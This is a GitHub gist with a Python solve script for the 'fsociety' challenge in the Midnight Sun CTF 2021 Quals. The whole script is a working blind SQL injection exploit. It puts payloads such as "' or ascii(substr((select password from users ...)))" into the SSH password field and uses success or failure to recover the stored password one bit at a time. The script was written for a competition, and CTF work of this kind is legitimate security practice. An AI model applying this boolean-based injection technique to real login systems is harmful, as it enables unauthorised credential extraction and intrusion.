Skip to content

Instantly share code, notes, and snippets.

@st98
Created April 10, 2021 17:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save st98/0b352bed39ac429bd5eb31447b162422 to your computer and use it in GitHub Desktop.
Save st98/0b352bed39ac429bd5eb31447b162422 to your computer and use it in GitHub Desktop.
Midnight Sun CTF 2021 Quals - fsociety
import paramiko
from pwn import *
context.log_level = 'error'
def check(password):
try:
conn = ssh(host='fsociety-04.play.midnightsunctf.se', port=2222, user='elliot', password=password)
conn.close()
return True
except paramiko.ssh_exception.AuthenticationException:
return False
res = ''
i = 1
while True:
c = 0
for j in range(7):
#payload = f"aaaaa' or ascii(substr(version(), {i}, 1)) & {1 << j};#"
payload = f"aaaaa' or ascii(substr((select password from users where username='elliot'), {i}, 1)) & {1 << j};#"
if check(payload):
c |= 1 << j
res += chr(c)
print(i, res)
i += 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment